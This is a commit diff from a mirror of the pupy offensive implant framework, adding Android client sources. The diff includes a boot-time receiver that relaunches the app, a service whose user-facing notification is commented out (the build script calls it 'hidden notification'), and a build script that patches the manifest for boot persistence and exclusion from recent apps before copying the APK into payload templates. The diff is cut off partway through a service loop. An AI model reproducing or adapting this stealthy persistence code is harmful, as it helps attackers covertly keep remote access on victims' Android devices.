mirror of https://github.com/n1nj4sec/pupy.git
android client sources release
This commit is contained in:
parent
9fd24fddf9
commit
4df0d065e2
|
@ -27,7 +27,8 @@ client/sources/resources/library_compressed_string_x64.txt
|
|||
client/sources/resources_msvcr90_dll.c
|
||||
client/sources/resources/libraryx64.zip
|
||||
client/sources/resources/libraryx86.zip
|
||||
|
||||
client/android_sources/bin
|
||||
client/android_sources/.buildozer
|
||||
# Byte-compiled / optimized / DLL files
|
||||
__pycache__/
|
||||
client/**/*.py[cod]
|
||||
|
|
Binary file not shown.
After Width: | Height: | Size: 68 B |
|
@ -0,0 +1,14 @@
|
|||
/* This code is used to restart DAS service at boot */
|
||||
package org.egambit.das;
|
||||
import android.content.BroadcastReceiver;
|
||||
import android.content.Intent;
|
||||
import android.content.Context;
|
||||
import org.renpy.android.PythonActivity;
|
||||
public class MyBroadcastReceiver extends BroadcastReceiver {
|
||||
public void onReceive(Context context, Intent intent) {
|
||||
Intent ix = new Intent(context,PythonActivity.class);
|
||||
ix.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
|
||||
context.startActivity(ix);
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,632 @@
|
|||
package org.renpy.android;
|
||||
|
||||
import android.app.Activity;
|
||||
import android.content.Intent;
|
||||
import android.content.pm.ActivityInfo;
|
||||
import android.os.Bundle;
|
||||
import android.os.Environment;
|
||||
import android.view.KeyEvent;
|
||||
import android.view.Window;
|
||||
import android.view.WindowManager;
|
||||
import android.widget.Toast;
|
||||
import android.util.Log;
|
||||
import android.content.pm.PackageManager;
|
||||
import android.content.pm.ApplicationInfo;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.io.FileInputStream;
|
||||
import java.io.FileOutputStream;
|
||||
import java.io.FileWriter;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.util.Collections;
|
||||
import java.util.Iterator;
|
||||
|
||||
// Billing
|
||||
import org.renpy.android.Configuration;
|
||||
import org.renpy.android.billing.BillingService.RequestPurchase;
|
||||
import org.renpy.android.billing.BillingService.RestoreTransactions;
|
||||
import org.renpy.android.billing.Consts.PurchaseState;
|
||||
import org.renpy.android.billing.Consts.ResponseCode;
|
||||
import org.renpy.android.billing.PurchaseObserver;
|
||||
import org.renpy.android.billing.BillingService;
|
||||
import org.renpy.android.billing.PurchaseDatabase;
|
||||
import org.renpy.android.billing.Consts;
|
||||
import org.renpy.android.billing.ResponseHandler;
|
||||
import org.renpy.android.billing.Security;
|
||||
import android.os.Handler;
|
||||
import android.database.Cursor;
|
||||
import java.util.List;
|
||||
import java.util.ArrayList;
|
||||
import android.content.SharedPreferences;
|
||||
import android.content.Context;
|
||||
|
||||
|
||||
public class PythonActivity extends Activity implements Runnable {
|
||||
private static String TAG = "Python";
|
||||
|
||||
// The audio thread for streaming audio...
|
||||
private static AudioThread mAudioThread = null;
|
||||
|
||||
// The SDLSurfaceView we contain.
|
||||
public static SDLSurfaceView mView = null;
|
||||
public static PythonActivity mActivity = null;
|
||||
public static ApplicationInfo mInfo = null;
|
||||
|
||||
// Did we launch our thread?
|
||||
private boolean mLaunchedThread = false;
|
||||
|
||||
private ResourceManager resourceManager;
|
||||
|
||||
// The path to the directory contaning our external storage.
|
||||
private File externalStorage;
|
||||
|
||||
// The path to the directory containing the game.
|
||||
private File mPath = null;
|
||||
|
||||
boolean _isPaused = false;
|
||||
|
||||
private static final String DB_INITIALIZED = "db_initialized";
|
||||
|
||||
@Override
|
||||
protected void onCreate(Bundle savedInstanceState) {
|
||||
super.onCreate(savedInstanceState);
|
||||
|
||||
Hardware.context = this;
|
||||
Action.context = this;
|
||||
this.mActivity = this;
|
||||
|
||||
getWindowManager().getDefaultDisplay().getMetrics(Hardware.metrics);
|
||||
|
||||
resourceManager = new ResourceManager(this);
|
||||
externalStorage = new File(Environment.getExternalStorageDirectory(), getPackageName());
|
||||
|
||||
// Figure out the directory where the game is. If the game was
|
||||
// given to us via an intent, then we use the scheme-specific
|
||||
// part of that intent to determine the file to launch. We
|
||||
// also use the android.txt file to determine the orientation.
|
||||
//
|
||||
// Otherwise, we use the public data, if we have it, or the
|
||||
// private data if we do not.
|
||||
if (getIntent() != null && getIntent().getAction() != null &&
|
||||
getIntent().getAction().equals("org.renpy.LAUNCH")) {
|
||||
mPath = new File(getIntent().getData().getSchemeSpecificPart());
|
||||
|
||||
Project p = Project.scanDirectory(mPath);
|
||||
|
||||
if (p != null) {
|
||||
if (p.landscape) {
|
||||
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE);
|
||||
} else {
|
||||
setRequestedOrientation(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT);
|
||||
}
|
||||
}
|
||||
|
||||
// Let old apps know they started.
|
||||
try {
|
||||
FileWriter f = new FileWriter(new File(mPath, ".launch"));
|
||||
f.write("started");
|
||||
f.close();
|
||||
} catch (IOException e) {
|
||||
// pass
|
||||
}
|
||||
|
||||
|
||||
|
||||
} else if (resourceManager.getString("public_version") != null) {
|
||||
mPath = externalStorage;
|
||||
} else {
|
||||
mPath = getFilesDir();
|
||||
}
|
||||
|
||||
requestWindowFeature(Window.FEATURE_NO_TITLE);
|
||||
|
||||
// go to fullscreen mode if requested
|
||||
try {
|
||||
this.mInfo = this.getPackageManager().getApplicationInfo(
|
||||
this.getPackageName(), PackageManager.GET_META_DATA);
|
||||
Log.v("python", "metadata fullscreen is" + this.mInfo.metaData.get("fullscreen"));
|
||||
if ( (Integer)this.mInfo.metaData.get("fullscreen") == 1 ) {
|
||||
getWindow().setFlags(WindowManager.LayoutParams.FLAG_FULLSCREEN,
|
||||
WindowManager.LayoutParams.FLAG_FULLSCREEN);
|
||||
}
|
||||
} catch (PackageManager.NameNotFoundException e) {
|
||||
}
|
||||
|
||||
if ( Configuration.use_billing ) {
|
||||
mBillingHandler = new Handler();
|
||||
}
|
||||
|
||||
// Start showing an SDLSurfaceView.
|
||||
mView = new SDLSurfaceView(
|
||||
this,
|
||||
mPath.getAbsolutePath());
|
||||
|
||||
Hardware.view = mView;
|
||||
//setContentView(mView);
|
||||
|
||||
// Force the background window color if asked
|
||||
if ( this.mInfo.metaData.containsKey("android.background_color") ) {
|
||||
getWindow().getDecorView().setBackgroundColor(
|
||||
this.mInfo.metaData.getInt("android.background_color"));
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Show an error using a toast. (Only makes sense from non-UI
|
||||
* threads.)
|
||||
*/
|
||||
public void toastError(final String msg) {
|
||||
|
||||
final Activity thisActivity = this;
|
||||
|
||||
runOnUiThread(new Runnable () {
|
||||
public void run() {
|
||||
Toast.makeText(thisActivity, msg, Toast.LENGTH_LONG).show();
|
||||
}
|
||||
});
|
||||
|
||||
// Wait to show the error.
|
||||
synchronized (this) {
|
||||
try {
|
||||
this.wait(1000);
|
||||
} catch (InterruptedException e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void recursiveDelete(File f) {
|
||||
if (f.isDirectory()) {
|
||||
for (File r : f.listFiles()) {
|
||||
recursiveDelete(r);
|
||||
}
|
||||
}
|
||||
f.delete();
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* This determines if unpacking one the zip files included in
|
||||
* the .apk is necessary. If it is, the zip file is unpacked.
|
||||
*/
|
||||
public void unpackData(final String resource, File target) {
|
||||
|
||||
// The version of data in memory and on disk.
|
||||
String data_version = resourceManager.getString(resource + "_version");
|
||||
String disk_version = null;
|
||||
|
||||
// If no version, no unpacking is necessary.
|
||||
if (data_version == null) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Check the current disk version, if any.
|
||||
String filesDir = target.getAbsolutePath();
|
||||
String disk_version_fn = filesDir + "/" + resource + ".version";
|
||||
|
||||
try {
|
||||
byte buf[] = new byte[64];
|
||||
InputStream is = new FileInputStream(disk_version_fn);
|
||||
int len = is.read(buf);
|
||||
disk_version = new String(buf, 0, len);
|
||||
is.close();
|
||||
} catch (Exception e) {
|
||||
disk_version = "";
|
||||
}
|
||||
|
||||
// If the disk data is out of date, extract it and write the
|
||||
// version file.
|
||||
if (! data_version.equals(disk_version)) {
|
||||
Log.v(TAG, "Extracting " + resource + " assets.");
|
||||
|
||||
recursiveDelete(target);
|
||||
target.mkdirs();
|
||||
|
||||
AssetExtract ae = new AssetExtract(this);
|
||||
if (!ae.extractTar(resource + ".mp3", target.getAbsolutePath())) {
|
||||
toastError("Could not extract " + resource + " data.");
|
||||
}
|
||||
|
||||
try {
|
||||
// Write .nomedia.
|
||||
new File(target, ".nomedia").createNewFile();
|
||||
|
||||
// Write version file.
|
||||
FileOutputStream os = new FileOutputStream(disk_version_fn);
|
||||
os.write(data_version.getBytes());
|
||||
os.close();
|
||||
} catch (Exception e) {
|
||||
Log.w("python", e);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
public void run() {
|
||||
|
||||
unpackData("private", getFilesDir());
|
||||
unpackData("public", externalStorage);
|
||||
|
||||
System.loadLibrary("sdl");
|
||||
System.loadLibrary("sdl_image");
|
||||
System.loadLibrary("sdl_ttf");
|
||||
System.loadLibrary("sdl_mixer");
|
||||
System.loadLibrary("python2.7");
|
||||
System.loadLibrary("application");
|
||||
System.loadLibrary("sdl_main");
|
||||
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_io.so");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/unicodedata.so");
|
||||
|
||||
try {
|
||||
System.loadLibrary("sqlite3");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_sqlite3.so");
|
||||
} catch(UnsatisfiedLinkError e) {
|
||||
}
|
||||
|
||||
try {
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imaging.so");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingft.so");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingmath.so");
|
||||
} catch(UnsatisfiedLinkError e) {
|
||||
}
|
||||
|
||||
if ( mAudioThread == null ) {
|
||||
Log.i("python", "Starting audio thread");
|
||||
mAudioThread = new AudioThread(this);
|
||||
}
|
||||
|
||||
runOnUiThread(new Runnable () {
|
||||
public void run() {
|
||||
mView.start();
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onPause() {
|
||||
_isPaused = true;
|
||||
super.onPause();
|
||||
|
||||
if (mView != null) {
|
||||
mView.onPause();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onResume() {
|
||||
super.onResume();
|
||||
_isPaused = false;
|
||||
|
||||
if (!mLaunchedThread) {
|
||||
mLaunchedThread = true;
|
||||
new Thread(this).start();
|
||||
}
|
||||
|
||||
if (mView != null) {
|
||||
mView.onResume();
|
||||
}
|
||||
}
|
||||
|
||||
public boolean isPaused() {
|
||||
return _isPaused;
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean onKeyDown(int keyCode, final KeyEvent event) {
|
||||
//Log.i("python", "key2 " + mView + " " + mView.mStarted);
|
||||
if (mView != null && mView.mStarted && SDLSurfaceView.nativeKey(keyCode, 1, event.getUnicodeChar())) {
|
||||
return true;
|
||||
} else {
|
||||
return super.onKeyDown(keyCode, event);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public boolean onKeyUp(int keyCode, final KeyEvent event) {
|
||||
//Log.i("python", "key up " + mView + " " + mView.mStarted);
|
||||
if (mView != null && mView.mStarted && SDLSurfaceView.nativeKey(keyCode, 0, event.getUnicodeChar())) {
|
||||
return true;
|
||||
} else {
|
||||
return super.onKeyUp(keyCode, event);
|
||||
}
|
||||
}
|
||||
|
||||
protected void onDestroy() {
|
||||
if (mPurchaseDatabase != null) {
|
||||
mPurchaseDatabase.close();
|
||||
}
|
||||
|
||||
if (mBillingService != null) {
|
||||
mBillingService.unbind();
|
||||
}
|
||||
|
||||
if (mView != null) {
|
||||
mView.onDestroy();
|
||||
}
|
||||
|
||||
//Log.i(TAG, "on destroy (exit1)");
|
||||
System.exit(0);
|
||||
}
|
||||
|
||||
public static void start_service(String serviceTitle, String serviceDescription,
|
||||
String pythonServiceArgument) {
|
||||
Intent serviceIntent = new Intent(PythonActivity.mActivity, PythonService.class);
|
||||
String argument = PythonActivity.mActivity.getFilesDir().getAbsolutePath();
|
||||
String filesDirectory = PythonActivity.mActivity.mPath.getAbsolutePath();
|
||||
serviceIntent.putExtra("androidPrivate", argument);
|
||||
serviceIntent.putExtra("androidArgument", filesDirectory);
|
||||
serviceIntent.putExtra("pythonHome", argument);
|
||||
serviceIntent.putExtra("pythonPath", argument + ":" + filesDirectory + "/lib");
|
||||
serviceIntent.putExtra("serviceTitle", serviceTitle);
|
||||
serviceIntent.putExtra("serviceDescription", serviceDescription);
|
||||
serviceIntent.putExtra("pythonServiceArgument", pythonServiceArgument);
|
||||
PythonActivity.mActivity.startService(serviceIntent);
|
||||
}
|
||||
|
||||
public static void stop_service() {
|
||||
Intent serviceIntent = new Intent(PythonActivity.mActivity, PythonService.class);
|
||||
PythonActivity.mActivity.stopService(serviceIntent);
|
||||
}
|
||||
|
||||
//----------------------------------------------------------------------------
|
||||
// Listener interface for onNewIntent
|
||||
//
|
||||
|
||||
public interface NewIntentListener {
|
||||
void onNewIntent(Intent intent);
|
||||
}
|
||||
|
||||
private List<NewIntentListener> newIntentListeners = null;
|
||||
|
||||
public void registerNewIntentListener(NewIntentListener listener) {
|
||||
if ( this.newIntentListeners == null )
|
||||
this.newIntentListeners = Collections.synchronizedList(new ArrayList<NewIntentListener>());
|
||||
this.newIntentListeners.add(listener);
|
||||
}
|
||||
|
||||
public void unregisterNewIntentListener(NewIntentListener listener) {
|
||||
if ( this.newIntentListeners == null )
|
||||
return;
|
||||
this.newIntentListeners.remove(listener);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onNewIntent(Intent intent) {
|
||||
if ( this.newIntentListeners == null )
|
||||
return;
|
||||
if ( this.mView != null )
|
||||
this.mView.onResume();
|
||||
synchronized ( this.newIntentListeners ) {
|
||||
Iterator<NewIntentListener> iterator = this.newIntentListeners.iterator();
|
||||
while ( iterator.hasNext() ) {
|
||||
(iterator.next()).onNewIntent(intent);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
//----------------------------------------------------------------------------
|
||||
// Listener interface for onActivityResult
|
||||
//
|
||||
|
||||
public interface ActivityResultListener {
|
||||
void onActivityResult(int requestCode, int resultCode, Intent data);
|
||||
}
|
||||
|
||||
private List<ActivityResultListener> activityResultListeners = null;
|
||||
|
||||
public void registerActivityResultListener(ActivityResultListener listener) {
|
||||
if ( this.activityResultListeners == null )
|
||||
this.activityResultListeners = Collections.synchronizedList(new ArrayList<ActivityResultListener>());
|
||||
this.activityResultListeners.add(listener);
|
||||
}
|
||||
|
||||
public void unregisterActivityResultListener(ActivityResultListener listener) {
|
||||
if ( this.activityResultListeners == null )
|
||||
return;
|
||||
this.activityResultListeners.remove(listener);
|
||||
}
|
||||
|
||||
@Override
|
||||
protected void onActivityResult(int requestCode, int resultCode, Intent intent) {
|
||||
if ( this.activityResultListeners == null )
|
||||
return;
|
||||
if ( this.mView != null )
|
||||
this.mView.onResume();
|
||||
synchronized ( this.activityResultListeners ) {
|
||||
Iterator<ActivityResultListener> iterator = this.activityResultListeners.iterator();
|
||||
while ( iterator.hasNext() )
|
||||
(iterator.next()).onActivityResult(requestCode, resultCode, intent);
|
||||
}
|
||||
}
|
||||
|
||||
//----------------------------------------------------------------------------
|
||||
// Billing
|
||||
//
|
||||
class PythonPurchaseObserver extends PurchaseObserver {
|
||||
public PythonPurchaseObserver(Handler handler) {
|
||||
super(PythonActivity.this, handler);
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onBillingSupported(boolean supported, String type) {
|
||||
if (Consts.DEBUG) {
|
||||
Log.i(TAG, "supported: " + supported);
|
||||
}
|
||||
|
||||
String sup = "1";
|
||||
if ( !supported )
|
||||
sup = "0";
|
||||
if (type == null)
|
||||
type = Consts.ITEM_TYPE_INAPP;
|
||||
|
||||
// add notification for python message queue
|
||||
mActivity.mBillingQueue.add("billingSupported|" + type + "|" + sup);
|
||||
|
||||
// for managed items, restore the database
|
||||
if ( type == Consts.ITEM_TYPE_INAPP && supported ) {
|
||||
restoreDatabase();
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onPurchaseStateChange(PurchaseState purchaseState, String itemId,
|
||||
int quantity, long purchaseTime, String developerPayload) {
|
||||
mActivity.mBillingQueue.add(
|
||||
"purchaseStateChange|" + itemId + "|" + purchaseState.toString());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onRequestPurchaseResponse(RequestPurchase request,
|
||||
ResponseCode responseCode) {
|
||||
mActivity.mBillingQueue.add(
|
||||
"requestPurchaseResponse|" + request.mProductId + "|" + responseCode.toString());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onRestoreTransactionsResponse(RestoreTransactions request,
|
||||
ResponseCode responseCode) {
|
||||
if (responseCode == ResponseCode.RESULT_OK) {
|
||||
mActivity.mBillingQueue.add("restoreTransaction|ok");
|
||||
if (Consts.DEBUG) {
|
||||
Log.d(TAG, "completed RestoreTransactions request");
|
||||
}
|
||||
// Update the shared preferences so that we don't perform
|
||||
// a RestoreTransactions again.
|
||||
SharedPreferences prefs = getPreferences(Context.MODE_PRIVATE);
|
||||
SharedPreferences.Editor edit = prefs.edit();
|
||||
edit.putBoolean(DB_INITIALIZED, true);
|
||||
edit.commit();
|
||||
} else {
|
||||
if (Consts.DEBUG) {
|
||||
Log.d(TAG, "RestoreTransactions error: " + responseCode);
|
||||
}
|
||||
|
||||
mActivity.mBillingQueue.add(
|
||||
"restoreTransaction|error|" + responseCode.toString());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* If the database has not been initialized, we send a
|
||||
* RESTORE_TRANSACTIONS request to Android Market to get the list of purchased items
|
||||
* for this user. This happens if the application has just been installed
|
||||
* or the user wiped data. We do not want to do this on every startup, rather, we want to do
|
||||
* only when the database needs to be initialized.
|
||||
*/
|
||||
private void restoreDatabase() {
|
||||
SharedPreferences prefs = getPreferences(MODE_PRIVATE);
|
||||
boolean initialized = prefs.getBoolean(DB_INITIALIZED, false);
|
||||
if (!initialized) {
|
||||
mBillingService.restoreTransactions();
|
||||
}
|
||||
}
|
||||
|
||||
/** An array of product list entries for the products that can be purchased. */
|
||||
|
||||
private enum Managed { MANAGED, UNMANAGED, SUBSCRIPTION }
|
||||
|
||||
|
||||
private PythonPurchaseObserver mPythonPurchaseObserver;
|
||||
private Handler mBillingHandler;
|
||||
private BillingService mBillingService;
|
||||
private PurchaseDatabase mPurchaseDatabase;
|
||||
private String mPayloadContents;
|
||||
public List<String> mBillingQueue;
|
||||
|
||||
public void billingServiceStart_() {
|
||||
mBillingQueue = new ArrayList<String>();
|
||||
|
||||
// Start the billing part
|
||||
mPythonPurchaseObserver = new PythonPurchaseObserver(mBillingHandler);
|
||||
mBillingService = new BillingService();
|
||||
mBillingService.setContext(this);
|
||||
mPurchaseDatabase = new PurchaseDatabase(this);
|
||||
|
||||
ResponseHandler.register(mPythonPurchaseObserver);
|
||||
if (!mBillingService.checkBillingSupported()) {
|
||||
//showDialog(DIALOG_CANNOT_CONNECT_ID);
|
||||
Log.w(TAG, "NO BILLING SUPPORTED");
|
||||
}
|
||||
if (!mBillingService.checkBillingSupported(Consts.ITEM_TYPE_SUBSCRIPTION)) {
|
||||
//showDialog(DIALOG_SUBSCRIPTIONS_NOT_SUPPORTED_ID);
|
||||
Log.w(TAG, "NO SUBSCRIPTION SUPPORTED");
|
||||
}
|
||||
}
|
||||
|
||||
public void billingServiceStop_() {
|
||||
}
|
||||
|
||||
public void billingBuy_(String mSku) {
|
||||
Managed mManagedType = Managed.MANAGED;
|
||||
if (Consts.DEBUG) {
|
||||
Log.d(TAG, "buying sku: " + mSku);
|
||||
}
|
||||
|
||||
if (mManagedType == Managed.MANAGED) {
|
||||
if (!mBillingService.requestPurchase(mSku, Consts.ITEM_TYPE_INAPP, mPayloadContents)) {
|
||||
Log.w(TAG, "ERROR IN BILLING REQUEST PURCHASE");
|
||||
}
|
||||
} else if (mManagedType == Managed.SUBSCRIPTION) {
|
||||
if (!mBillingService.requestPurchase(mSku, Consts.ITEM_TYPE_INAPP, mPayloadContents)) {
|
||||
Log.w(TAG, "ERROR IN BILLING REQUEST PURCHASE");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String billingGetPurchasedItems_() {
|
||||
String ownedItems = "";
|
||||
Cursor cursor = mPurchaseDatabase.queryAllPurchasedItems();
|
||||
if (cursor == null)
|
||||
return "";
|
||||
|
||||
try {
|
||||
int productIdCol = cursor.getColumnIndexOrThrow(
|
||||
PurchaseDatabase.PURCHASED_PRODUCT_ID_COL);
|
||||
int qtCol = cursor.getColumnIndexOrThrow(
|
||||
PurchaseDatabase.PURCHASED_QUANTITY_COL);
|
||||
while (cursor.moveToNext()) {
|
||||
String productId = cursor.getString(productIdCol);
|
||||
String qt = cursor.getString(qtCol);
|
||||
|
||||
productId = Security.unobfuscate(this, Configuration.billing_salt, productId);
|
||||
if ( productId == null )
|
||||
continue;
|
||||
|
||||
if ( ownedItems != "" )
|
||||
ownedItems += "\n";
|
||||
ownedItems += productId + "," + qt;
|
||||
}
|
||||
} finally {
|
||||
cursor.close();
|
||||
}
|
||||
|
||||
return ownedItems;
|
||||
}
|
||||
|
||||
|
||||
static void billingServiceStart() {
|
||||
mActivity.billingServiceStart_();
|
||||
}
|
||||
|
||||
static void billingServiceStop() {
|
||||
mActivity.billingServiceStop_();
|
||||
}
|
||||
|
||||
static void billingBuy(String sku) {
|
||||
mActivity.billingBuy_(sku);
|
||||
}
|
||||
|
||||
static String billingGetPurchasedItems() {
|
||||
return mActivity.billingGetPurchasedItems_();
|
||||
}
|
||||
|
||||
static String billingGetPendingMessage() {
|
||||
if (mActivity.mBillingQueue.isEmpty())
|
||||
return null;
|
||||
return mActivity.mBillingQueue.remove(0);
|
||||
}
|
||||
|
||||
}
|
||||
|
|
@ -0,0 +1,125 @@
|
|||
package org.renpy.android;
|
||||
|
||||
import android.app.Service;
|
||||
import android.os.IBinder;
|
||||
import android.os.Bundle;
|
||||
import android.content.Intent;
|
||||
import android.content.Context;
|
||||
import android.util.Log;
|
||||
import android.app.Notification;
|
||||
import android.app.PendingIntent;
|
||||
import android.os.Process;
|
||||
|
||||
public class PythonService extends Service implements Runnable {
|
||||
|
||||
// Thread for Python code
|
||||
private Thread pythonThread = null;
|
||||
|
||||
// Python environment variables
|
||||
private String androidPrivate;
|
||||
private String androidArgument;
|
||||
private String pythonHome;
|
||||
private String pythonPath;
|
||||
// Argument to pass to Python code,
|
||||
private String pythonServiceArgument;
|
||||
public static Service mService = null;
|
||||
|
||||
@Override
|
||||
public IBinder onBind(Intent arg0) {
|
||||
return null;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onCreate() {
|
||||
super.onCreate();
|
||||
}
|
||||
|
||||
@Override
|
||||
public int onStartCommand(Intent intent, int flags, int startId) {
|
||||
if (pythonThread != null) {
|
||||
Log.v("python service", "service exists, do not start again");
|
||||
return START_REDELIVER_INTENT;
|
||||
}
|
||||
|
||||
Bundle extras = intent.getExtras();
|
||||
androidPrivate = extras.getString("androidPrivate");
|
||||
// service code is located in service subdir
|
||||
androidArgument = extras.getString("androidArgument") + "/service";
|
||||
pythonHome = extras.getString("pythonHome");
|
||||
pythonPath = extras.getString("pythonPath");
|
||||
pythonServiceArgument = extras.getString("pythonServiceArgument");
|
||||
String serviceTitle = extras.getString("serviceTitle");
|
||||
String serviceDescription = extras.getString("serviceDescription");
|
||||
|
||||
pythonThread = new Thread(this);
|
||||
pythonThread.start();
|
||||
|
||||
Context context = getApplicationContext();
|
||||
/*Notification notification = new Notification(context.getApplicationInfo().icon,
|
||||
serviceTitle,
|
||||
System.currentTimeMillis());*/
|
||||
//Intent contextIntent = new Intent(context, PythonActivity.class);
|
||||
//PendingIntent pIntent = PendingIntent.getActivity(context, 0, contextIntent,
|
||||
// PendingIntent.FLAG_UPDATE_CURRENT);
|
||||
//notification.setLatestEventInfo(context, serviceTitle, serviceDescription, pIntent);
|
||||
//startForeground(1, notification);
|
||||
|
||||
return START_REDELIVER_INTENT;
|
||||
}
|
||||
|
||||
@Override
|
||||
public void onDestroy() {
|
||||
super.onDestroy();
|
||||
pythonThread = null;
|
||||
Process.killProcess(Process.myPid());
|
||||
}
|
||||
|
||||
@Override
|
||||
public void run(){
|
||||
|
||||
// libraries loading, the same way PythonActivity.run() do
|
||||
System.loadLibrary("sdl");
|
||||
System.loadLibrary("sdl_image");
|
||||
System.loadLibrary("sdl_ttf");
|
||||
System.loadLibrary("sdl_mixer");
|
||||
System.loadLibrary("python2.7");
|
||||
System.loadLibrary("application");
|
||||
System.loadLibrary("sdl_main");
|
||||
|
||||
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_io.so");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/unicodedata.so");
|
||||
|
||||
try {
|
||||
System.loadLibrary("ctypes");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_ctypes.so");
|
||||
} catch(UnsatisfiedLinkError e) {
|
||||
}
|
||||
|
||||
try {
|
||||
System.loadLibrary("sqlite3");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_sqlite3.so");
|
||||
} catch(UnsatisfiedLinkError e) {
|
||||
}
|
||||
|
||||
try {
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imaging.so");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingft.so");
|
||||
System.load(getFilesDir() + "/lib/python2.7/lib-dynload/_imagingmath.so");
|
||||
} catch(UnsatisfiedLinkError e) {
|
||||
}
|
||||
|
||||
this.mService = this;
|
||||
nativeInitJavaEnv();
|
||||
nativeStart(androidPrivate, androidArgument, pythonHome, pythonPath,
|
||||
pythonServiceArgument);
|
||||
}
|
||||
|
||||
// Native part
|
||||
public static native void nativeStart(String androidPrivate, String androidArgument,
|
||||
String pythonHome, String pythonPath,
|
||||
String pythonServiceArgument);
|
||||
|
||||
public static native void nativeInitJavaEnv();
|
||||
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
#!/bin/bash
|
||||
# -*- coding: UTF8 -*-
|
||||
if [ "$1" = "restart" ]; then
|
||||
adb shell am start -S -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity
|
||||
exit 0
|
||||
fi
|
||||
buildozer 2>&1 > /dev/null # for initialisation
|
||||
#startup bootloader
|
||||
ANDROID_MANIFEST="./.buildozer/android/platform/python-for-android/dist/pupy/templates/AndroidManifest.tmpl.xml"
|
||||
if [ -z "`cat $ANDROID_MANIFEST | grep BOOT_COMPLETED`" ]; then
|
||||
echo "Patching AndroidManifest template for BOOT_COMPLETED"
|
||||
sed -i $ANDROID_MANIFEST -e 's/{% for m in args.meta_data %}/<receiver android:name=".MyBroadcastReceiver" android:enabled="true" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" \/><\/intent-filter><\/receiver>\n{% for m in args.meta_data %}/g'
|
||||
echo "Patching AndroidManifest template for excludeFromRecents"
|
||||
sed -i $ANDROID_MANIFEST -e 's/android:launchMode="singleTask"/android:launchMode="singleTask"\nandroid:excludeFromRecents="true"\n/g'
|
||||
fi
|
||||
cp MyBroadcastReceiver.java .buildozer/android/platform/python-for-android/dist/pupy/src/
|
||||
|
||||
#hidden notification
|
||||
cp PythonService.java .buildozer/android/platform/python-for-android/dist/pupy/src/org/renpy/android/PythonService.java
|
||||
|
||||
cp PythonActivity.java .buildozer/android/platform/python-for-android/src/src/org/renpy/android/PythonActivity.java
|
||||
|
||||
if [ "$1" = "debug" ]; then
|
||||
rm bin/*.apk
|
||||
buildozer android debug && adb install -r bin/*.apk && adb shell am start -n org.pupy.pupy/org.renpy.android.PythonActivity -a org.renpy.android.PythonActivity
|
||||
exit 0
|
||||
fi
|
||||
|
||||
rm bin/*.apk
|
||||
buildozer android release
|
||||
echo "copying the generated apk to ../../pupy/payload_templates/pupy.apk"
|
||||
cp bin/Pupy-0.1-release-unsigned.apk ../../pupy/payload_templates/pupy.apk
|
|
@ -0,0 +1,29 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
import os
|
||||
os.environ['KIVY_NO_FILELOG']='yes'
|
||||
|
||||
from kivy.app import App
|
||||
from kivy.lang import Builder
|
||||
from kivy.utils import platform
|
||||
import time
|
||||
import os
|
||||
kv = ""
|
||||
#Button:
|
||||
# text: 'push me!'
|
||||
|
||||
class ServiceApp(App):
|
||||
def build(self):
|
||||
if platform == 'android':
|
||||
from android import AndroidService
|
||||
service = AndroidService('pupy', 'running')
|
||||
service.start('service started')
|
||||
self.service = service
|
||||
App.get_running_app().stop()
|
||||
return Builder.load_string(kv)
|
||||
|
||||
if __name__ == '__main__':
|
||||
ServiceApp().run()
|
||||
|
|
@ -0,0 +1,16 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
import os
|
||||
os.environ['KIVY_NO_FILELOG']='yes'
|
||||
|
||||
from time import sleep
|
||||
import pp
|
||||
|
||||
if __name__ == '__main__':
|
||||
while True:
|
||||
